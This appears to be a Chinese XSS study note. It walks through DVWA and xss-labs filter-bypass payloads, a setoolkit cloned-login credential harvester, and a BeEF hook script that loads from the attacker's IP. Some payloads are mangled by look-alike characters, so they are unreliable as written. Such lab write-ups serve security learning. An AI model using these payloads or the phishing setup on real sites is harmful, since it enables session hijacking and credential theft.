学习XSS攻击需要学习者具备有html基础知识和JavaScript基础知识,这里就不再详细讲述,没有基础的同学可以去补一下再来学习XSS会轻松很多!下面我们在用到html和javascript知识时会挑重点看一下。
JavaScript 语言基础
JavaScript 与 Java 没有任何关系,它们只是名字相似而已。
JavaScript 的代码嵌入在 HTML 里,直接在客户端的浏览器上执行,属于前端语言。大多数的 XSS 代码都是使用 JavaScript 语言编写的,JavaScript 能做到什么效果,XSS 的威力就有多大。
基本的 JavaScript 语法结构
所有的 JavaScript 语句必须包含在<script>……</script>标签中。
每行 JavaScript 语句以“;”表示结束。(可选)
document 是个对象,指当前网页,write 是其动作。
document.write 就是让当前的网页执行 write 动作,将()里的内容写入到页面当中去。
可以通过 JavaScript 输出 html 标签。
JavaScript 中的变量必须用 var 语句定义。
要拼接多个变量或字符串,采用“+”而不是“.”。
单行注释使用“//”,多行注释使用“/*……*/”
用 JavaScript 对某个事件做出反应
在 JavaScript 里,事件是网页与用户交互或自身状态改变时触发的信号。事件种类多样,下面介绍常见的几类:
1. 鼠标事件(常用)
这类事件和鼠标操作相关,常见的有:
click
:当用户点击元素时触发。dblclick
:用户双击元素时会触发此事件。mouseover
:鼠标指针移动到元素上时触发。mouseout
:鼠标指针移出元素时触发。mousemove
:鼠标在元素上移动的过程中,持续触发该事件。mousedown
:按下鼠标按钮时触发。mouseup
:释放鼠标按钮时触发。
2. 键盘事件(常用)
键盘事件和键盘操作对应,例如:
keydown
:按下键盘按键时触发。keyup
:释放键盘按键时触发。keypress
:按下可输入字符的按键时触发(该事件逐渐被弃用,建议优先使用keydown
)。
3. 表单事件
表单事件和表单元素的交互有关,像:
submit
:用户提交表单时触发。change
:表单元素的值发生改变且失去焦点时触发。focus
:元素获得焦点时触发。blur
:元素失去焦点时触发。input
:输入框内容发生变化时持续触发。
“alert”是 JavaScript 的弹框语句。
document 对象的常用属性
document.cookie,显示当前页面的 cookie:<script>alert(document.cookie);</script>
document.location,显示当前页面的 URL:<script>alert(document.location);</script>
location.href 实现页面跳转,当前页面整体跳转到另一个页面上去:
<script>alert(document.location);location.href="http://taobao.com ";</script>
ps:
location.href 也可简写成 location
注:先弹框,再整体跳转;
XSS基础知识
XSS,即跨站脚本攻击,是 Web 安全领域中十分常见的漏洞类型。攻击者通过在 Web 页面中注入恶意脚本,当用户浏览该页面时,恶意脚本便会在用户的浏览器中执行。借助这种攻击方式,攻击者能够窃取用户的敏感信息,如登录凭证、个人隐私数据,cookie资料窃取,钓鱼欺骗等;劫持用户会话,以用户身份进行各种操作;甚至篡改网站内容,严重损害网站的声誉和用户信任。这主要是由于 web 应用程序对用户的输入过滤不足而产生的。
危害:盗取用户 cookie;修改网页内容;网站挂马;利用网站重定向;XSS 蠕虫
XSS分类
XSS(跨站脚本攻击)根据恶意脚本的存储位置和执行路径差异,可划分为以下三类:
1、反射型XSS(Reflected XSS)
反射型 XSS (非持久型 XSS),黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然后用户浏览器执行恶意代码触发 XSS 漏洞。最常见且使用较广,主要是用于将恶意脚本附加到 url 地址的参数中,经常出现在搜索栏,登入点等;常用来窃取客户端 cookie 或者用来钓鱼欺骗。
- 触发条件:恶意脚本通过URL参数传递,服务器未过滤直接返回到页面。
- 攻击场景:常见于钓鱼邮件或诱导链接中,需用户主动点击攻击链接
一般攻击流程:
A 用户登陆页面
B 黑客将构造的 url 发送给用户
C 用户被诱骗 打开了链接
D Web 程序解析了 Js 并做出回应
E 用户的浏览器会发送会话信息发给攻击者
F 攻击者劫持用户会话
2、存储型XSS(Stored XSS)
存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。
比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称之为存储型 XSS。一般出现在留言板,评论,博客等交互处。
- 存储媒介:恶意脚本被永久保存在服务器数据库(如评论区、用户资料页)。
- 攻击范围:所有访问受污染页面的用户均会触发攻击,危害性较高。
特点:不需要用户单击特定 url
利用手段: 直接向服务器中存储恶意代码,用户访问都会中招
xss 蠕虫
一般攻击流程:
A 攻击者提交包含恶意 js 的代码(内容) 百度 xss
B 用户登陆
C 用户浏览了攻击者提交的内容
D 服务器对攻击者的 js 进行解析 做出回应
E 攻击者潜入的 js 代码在用户的浏览器中执行
F 用户的浏览器向攻击者发送会话令牌
G 攻击者劫持用户
3、DOM型XSS(DOM-based XSS)
DOM 概述:HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 将 HTML 文档表达为树结构。HTML DOM 树结构如下:
- 攻击路径:通过修改网页DOM结构触发,无需与服务器交互。
- 技术特性:依赖客户端JavaScript对URL片段或本地存储数据的处理漏洞。
DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型XSS。
XSS 成因
1)用户输入没有进行严格控制,而直接输出到页面
2)对非预期的输入的信任
漏洞一般存在位置?
日志,评论,留言板,编辑器,个人资料详情
当别人访问他人资料,查看日志,评论,留言;点击一个链接,邮件时;受害者也会变为传播者。
XSS攻击练习之DVWA
1、搭建DVWA环境(之前已经搭建过,不会的看另一篇笔记)
2、登录(用户:admin 密码:password)
调整安全性级别
3、练习
1、反射型 XSS
(1)Low:<script>alert('xss'); </script> #无任何过滤
看源代码
成功!
(2)mediem:过滤<script>
修改安全性等级
看源代码
尝试通过str_replace()
函数过滤用户输入中的<script>
标签来防止 XSS 攻击,但这种方法存在严重缺陷,无法有效防御 XSS。
攻击者可通过大小写绕过、双写绕过、标签变体绕过的方法进行攻击
大小写绕过:<ScriPT>alert('xss')</script>或者<SCRIPT>alert('xss')</script>
双写绕过:<sc<script>ript>alert(1)</script>
标签变体绕过:
<script>alert('XSS')</script> // 使用十六进制编码
<script >alert('XSS')</script > // 标签内添加空格
(3)high:#使用黑名单过滤输入(过滤script每个字母),preg_replace() 函数用于正则表达式的搜索和替换
尽管使用了正则表达式,代码仍存在以下漏洞:
1、其他 HTML 标签注入
攻击者可使用非<script>
标签执行 JavaScript:
- <img src=x οnerrοr=alert('XSS')>
- <body οnlοad=alert('XSS')>
- <a href="javascript:alert('XSS')">Click</a>
-
<iframe οnlοad=alert(1)>
2、事件处理函数注入
- <div οnclick=alert('XSS')>Click me</div>
- <input type=text οnfοcus=alert('XSS')>
3、JavaScript 协议注入
<a href="javascript:alert('XSS')">Link</a>
4、正则表达式绕过
- 标签嵌套:
<scr<script>ipt>alert(1)</scr</script>ipt>
- 编码绕过:
<script>alert(1)</script>
(使用 HTML 实体编码)
- 部分匹配:输入
<scri
会被保留,结合后续内容可能形成有效标签。
(4)Impossible:几乎不可能绕过
2、存储型 XSS
(1)low:<script>alert('xss'); </script>
看源代码
代码功能概述
这段 PHP 脚本处理用户提交的留言表单,主要流程:
- 检查表单提交按钮是否被点击。
- 获取并清理用户输入的留言内容和姓名。
- 使用
mysqli_real_escape_string
转义输入,尝试防止 SQL 注入。 - 将数据插入 MySQL 数据库的
guestbook
表。 - 显示数据库错误信息(如果插入失败)。
name做了长度限制,在message中输入
用户再次进入该模块依然会弹框
因为是本地保存,也可以直接更改name的长度限制(网络保存不行)
(2)medium:<ScriPT>alert(1)</script> #过滤<script>,可使用大小写、双写绕过
message中使用htmlspecialchars 函数实体化,可在name中输入
(3)high:正则表达式过滤<script>标签可使用其他标签
iframe 标签绕过 <iframe οnlοad=alert(1)>
Img 标签绕过:<img src=1 οnerrοr=alert(1)>
(4)impossible:几乎不可能绕过
3、DOM型 XSS
(1)low:http://192.168.1.9/DVWA/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
看源代码
2、Medium:<img src=1 οnerrοr=alert(1)>
看源代码
3、high:#<script>alert(1); </script>
看源代码
可以发现使用了白名单的思想,只允许French,English,German以及Spanish。
这里我们拿#来进行绕过,#后面的内容是被注释的,所以他不会发到后端进行校验,但是js是一个前端语言。
4、网页重定向
反射型的 XSS low级别文本框输入以下js代码攻击:
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");
for(j = 0; j < link.length; j++) {
link[j].href="http://taobao.com";}
}
</script>
函数功能:document.getElementsByTagName 获取页面中所有的 a 标签,存放到 link 数组中,使用 for 循环将 link 数组中的所有元素替换为恶意网址。
5、XSS-labs-master靶场练习
搭建环境
准备好压缩包
解压到PHPstudy\phpstudy_pro\WWW目录下:
访问127.0.0.1/xss-labs-master,就可以使用了
第一关(反射型XSS)
xss漏洞执行是通过向web页面插入JavaScript恶意代码,待用户浏览该页面时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
看源代码
由源代码可知,没有任何过滤转义的操作,所以直接注入就可以
payload :<script>alert('xss')</script>
第二关
看源代码
在上述代码里,$str 是从 $_GET["keyword"] 获取的用户输入,在 <input> 标签的 value 属性中直接使用了 $str,而没有进行合适的转义。
payload:level2.php?keyword="><script>alert(1)</script>
通过闭合 ” > ,闭合后的语句是 <input name=keyword value=“1”><script>alert(1)</script>
第三关
看源代码
代码中对 $str 进行了 htmlspecialchars 处理,在大部分情况下能防止常见的 XSS 攻击。不过,当攻击者利用 HTML 事件属性时,仍可能构造出能执行恶意脚本的情况。在 HTML 标签的属性中,如果输入包含事件处理函数(如 onclick、onload 等),即使使用了 htmlspecialchars 转义了引号,攻击者依然可以通过构造合适的输入绕过部分防护。
虽然对 value
属性的值进行了转义,但如果攻击者输入的是包含事件处理函数的内容,可能会引发 XSS 攻击
payload:?keyword='οnmοuseοver='alert(/xss/)
onmouseover
:当用户将鼠标悬停在输入框上时,onmouseover
事件触发,恶意脚本 alert("XSS")
就会被执行。
?keyword='οnclick='alert(1)
?keyword=' οnclick=alert(1)//
第四关
payload:?keyword="οnclick="alert(1)
?keyword="οnmοuseοver="alert(/xss/)
?keyword=" οnclick=alert(1)//
第五关
看源代码
我们发现on被替换了,我们需要绕过,script也被替换,我们用大小写发现也被绕过了,那我们可以使用javascript伪协议。
JavaScript 伪协议(JavaScript Protocol Handler)是一种特殊的 URL 协议,允许在 URL 中直接执行 JavaScript 代码。它的语法格式为:javascript:[代码片段]
例如:<a href="javascript:alert('Hello, World!')">点击执行JS</a>
当用户点击这个链接时,浏览器会执行alert('Hello, World!')
。
payload:?keyword="><a href="javascript:alert(1)">点击这里</a>
?keyword="><a href=javascript:alert(1)>11</a>//
第六关
strtolower()
是 PHP 中的一个内置函数,用于将字符串中的所有大写字母转换为小写字母,而不改变其他字符(如数字、标点符号或非字母字符)。我们没有在代码中看到上面这个函数,可以试一试大小写绕过。
payload:?keyword="Onmouseover="alert(/xss/)
?keyword="Onclick="alert(1)
?keyword=" Onclick=alert(1)//
第七关
可以试一试双写绕过
payload:?keyword="oonnclick="alert(1)
?keyword="><a hrhrefef=javascrscriptipt:alert(1)>11</a>//
第八关
这里的思路是:把我们输入框的值当成a标签里的href属性进行跳转
因为前面的过滤规则很多,我们把payload语句转换成unicode格式
payload:javascript:alert(1)
编码后:javascript:alert(1)
第九关
payload:?keyword=javascript:alert(1)//http://
?keyword=javascript:alert(1)/*http://*/
这两种payload只是编码方式的不同。
javascript:alert(1)//http://
只对关键字符 r
进行 HTML 实体编码(r
是 r
的十进制实体)。浏览器渲染时将 r
还原为 r
,形成完整的 javascript:alert(1)
。
javascript:alert(1)/*http://*/
对整个 javascript
字符串进行 HTML 实体编码(如 j
是 j
的十进制实体)。
浏览器将所有实体还原为原始字符:
javascript
→ javascript
第十关
payload:&t_sort=" type='text' οnclick=javascript:alert(12)>//
t_sort="type="text" οnmοuseοver="alert(1)
第十一关
我们用burpsuite抓包尝试在请求头refer输入值查看结果
payload:"type="text" οnmοuseοver="alert(1)
第十二关
可以猜测是User-Agent,我们用BP抓包,找到user-agent:
payload:"type="text" οnmοuseοver="alert(1)
直接把payload写在user-agent的后面,然后放开
第十三关
同样先抓包,然后在cookie注入,还是用上一关的payload
payload:"type="text" οnmοuseοver="alert(1)
第十四关到第二十关
先不做了
6、钓鱼网站
1、在虚拟机里下载kali,给kali换源
进入root权限
2、增加国内源地址
vi /etc/apt/sources.list
按i
进入插入模式,将以下地址加入该页面:
按esc
键退出插入模式,输入:wq
强制保存并退出。
3、更新源仓库
apt-get update
4、首先在kali里开启apache服务
命令:systemctl start apache2
改成root用户:su -
5、第二步使用setoolkit(是kali自带的软件,可以直接使用)克隆网站
命令:setoolkit
然后开始选择:
1(社会工程攻击)-2(网站攻击载体)-3(凭证收割机攻击方法)-2(站点克隆)-回车
目标url:http://10.20.0.5/dvwa/login.php(本机的ip)
y
打开本机,访问kali的IP:173.17.17.24
克隆成功!
在这里输入用户名和密码,就会跳转到自己本机的IP
此时去kali里,可以查看到用户输入的账号和密码
7、beef-xss
安装:apt-get install beef-xss
运行:beef-xss
账号:beef
密码:beef1
在kali里打开火狐浏览器,访问 http://127.0.0.1:3000/ui/panel
账号:beef 密码:是你在上面输入的密码(这里我输入的是:beef1)
成功进入的页面.
查询kali本机ip:173.17.17.24
修改拿到的payload,把IP换成kali的IP:<script src="http://173.17.17.24:3000/hook.js"></script>
去本机访问12.0.0.1/dvwa
去kali 里
在这里我们可以执行一些操作,与蚁剑的原理类似